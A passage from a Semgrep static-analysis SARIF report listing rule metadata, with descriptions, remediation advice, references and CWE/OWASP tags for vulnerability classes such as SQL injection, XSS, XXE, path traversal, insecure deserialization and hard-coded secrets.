vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","id":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","name":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"help":{"markdown":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n","text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile","id":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","name":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-res-sendfile.express-res-sendfile"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli","id":"java.spring.security.hibernate-sqli.hibernate-sqli","name":"java.spring.security.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","id":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","name":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"help":{"markdown":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb)\n","text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql","id":"ruby.rails.security.brakeman.check-sql.check-sql","name":"ruby.rails.security.brakeman.check-sql.check-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-sql.check-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.secrets.database-password.database-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/php.secrets.database-password.database-password","id":"php.secrets.database-password.database-password","name":"php.secrets.database-password.database-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.secrets.database-password.database-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","id":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","name":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","id":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","name":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"S3 bucket with public read-write access detected."},"help":{"markdown":"S3 bucket with public read-write access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read-write access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","id":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","name":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","id":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","name":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response","id":"scala.play.security.tainted-html-response.tainted-html-response","name":"scala.play.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","id":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","name":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write","id":"java.micronaut.xss.direct-response-write.direct-response-write","name":"java.micronaut.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: 